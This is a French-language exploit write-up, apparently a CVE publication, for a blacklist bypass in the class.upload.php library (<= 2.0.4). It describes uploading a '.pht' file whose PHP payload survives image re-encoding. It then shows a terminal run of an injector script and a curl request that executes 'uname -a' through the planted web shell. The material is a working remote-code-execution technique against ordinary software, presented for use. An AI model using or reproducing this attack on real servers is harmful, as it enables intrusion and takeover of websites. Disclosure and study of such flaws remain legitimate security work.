
Il s'agit d'un exploit de contournement de filtre qui entraîne le téléchargement arbitraire de fichier et l'exécution de code à distance dans class.upload.php <= 2.0.4
Il s'agit d'une exploitation de contournement de filtre qui aboutit à un téléchargement arbitraire de fichiers et à une exécution de code à distance. Le script class.upload.php filtre les "fichiers et contenus dangereux" et les renomme avec l'extension de fichier txt. Il effectue également différents types de transformations sur l'image téléchargée, ce qui détruirait normalement toute charge utile injectée, même si le filtre d'extension de fichier pouvait être contourné.
Le filtre d'extension de fichier est une liste noire, donc dès qu'une nouvelle extension est introduite (dans ce cas pht), ou que l'une d'elles a été oubliée, un fichier PHP peut être téléchargé. Le contenu doit cependant toujours être une image valide et passera toujours par les fonctions imagecreatefromjpeg et similaires. Dans ce but, j'ai écrit le script inject.php qui va essentiellement forcer par tâtonnements son chemin à travers différentes images jusqu'à en trouver une où la charge utile ne sera pas détruite par le processus effectué dans class.upload.php. Cela nous donne effectivement un téléchargement arbitraire de fichiers et une exécution de code très furtive puisque c'est toujours une image valide et qu'elle sera affichée comme telle sur les pages où elle est téléchargée.
Le script inject.php sera bientôt réécrit pour devenir un outil plus général pour ce type d'attaque, mais pour l'instant il sera simplement inclus sous forme de scripts individuels dans ce type de publication de CVE.
Le script upload.php est l'exemple de code provenant du github de verot.net. J'ai pensé qu'il serait préférable de démontrer cette vulnérabilité en utilisant leur propre exemple de code.
user@ayu:/var/www/html# php inject.php
-=Injecteur imagejpeg 1.8=-
[+] Récupération de l'image (100 X 100) depuis http://lorempixel.com/100/100/
[+] Saut au dernier octet
[+] Recherche d'un point d'injection valide
[!] Solution temporaire, si vous obtenez une 'erreur d'analyse récupérable' ici, cela signifie que cela a probablement échoué
[+] Cela semble avoir fonctionné !
[+] Fichier résultat : image.jpg.pht
user@ayu:/var/www/html# curl -v -o - http://localhost/images/image_resized.phar?c=uname%20-a | grep -aPo "(Linux.*GNU)"
Linux ayu 5.0.0-36-generic #39-Ubuntu SMP Tue Nov 12 09:46:06 UTC 2019 x86_64 x86_64 x86_64 GNU